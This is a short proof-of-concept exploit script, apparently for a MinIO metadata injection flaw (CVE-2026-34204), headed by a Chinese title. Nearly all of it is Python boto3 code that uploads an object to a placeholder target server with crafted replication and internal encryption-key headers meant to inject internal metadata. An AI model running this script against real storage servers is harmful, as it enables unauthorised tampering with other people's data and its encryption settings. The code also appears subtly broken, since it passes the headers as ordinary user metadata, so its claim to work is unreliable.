CVE-2026-34204 MinIO 元数据注入漏洞

import boto3 from botocore.client import Config # CVE-2026-34204 PoC # Exploit: Inject internal metadata via X-Minio-Replication headers s3 = boto3.client('s3', endpoint_url='http://<target-minio>:9000', aws_access_key_id='<access_key>', aws_secret_access_key='<secret_key>') bucket_name = 'test-bucket' object_key = 'exploit-test.txt' # Craft the malicious headers # The vulnerability lies in processing X-Minio-Replication-* headers headers = { 'X-Minio-Replication-Request': 'true', 'X-Minio-Internal-Encryption-Key': 'malicious-key-id' } try: # PutObject with injected headers s3.put_object(Bucket=bucket_name, Key=object_key, Body='PoC content', Metadata=headers) print(f"[+] Successfully injected metadata into {object_key}") except Exception as e: print(f"[-] Exploit failed: {e}")